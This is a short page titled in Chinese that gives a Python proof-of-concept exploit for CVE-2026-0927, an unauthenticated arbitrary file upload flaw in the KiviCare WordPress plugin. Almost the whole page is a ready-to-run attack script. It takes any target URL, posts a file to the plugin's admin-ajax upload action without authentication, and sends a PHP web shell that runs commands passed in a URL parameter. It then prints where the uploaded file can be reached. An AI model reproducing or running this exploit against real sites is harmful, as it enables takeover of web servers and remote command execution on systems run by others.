CVE-2026-0927 WordPress KiviCare插件任意文件上传漏洞

import requests import sys # CVE-2026-0927 PoC - KiviCare Arbitrary File Upload # Target: WordPress site with KiviCare plugin <= 3.6.15 def exploit_file_upload(target_url, file_content, filename): """ Exploit arbitrary file upload vulnerability in KiviCare plugin uploadMedicalReport() function lacks authorization check """ # Endpoint for medical report upload upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious file files = { 'file': (filename, file_content, 'application/pdf') } # Data payload - action triggers uploadMedicalReport() data = { 'action': 'kivicare_medical_report_upload', 'file_name': filename } print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious file: {filename}") try: # Send upload request without authentication response = requests.post( upload_endpoint, files=files, data=data, timeout=30 ) if response.status_code == 200: print(f"[+] File upload request sent successfully") print(f"[+] Response: {response.text[:200]}") # Check if file is accessible uploaded_path = f"{target_url}/wp-content/uploads/kivicare/{filename}" print(f"[*] Check uploaded file at: {uploaded_path}") else: print(f"[-] Upload failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_0927_poc.py <target_url>") print("Example: python cve_2026_0927_poc.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Example malicious content - could be webshell or phishing page malicious_content = "<?php system($_GET['cmd']); ?>" filename = "malicious.php.txt" exploit_file_upload(target, malicious_content, filename)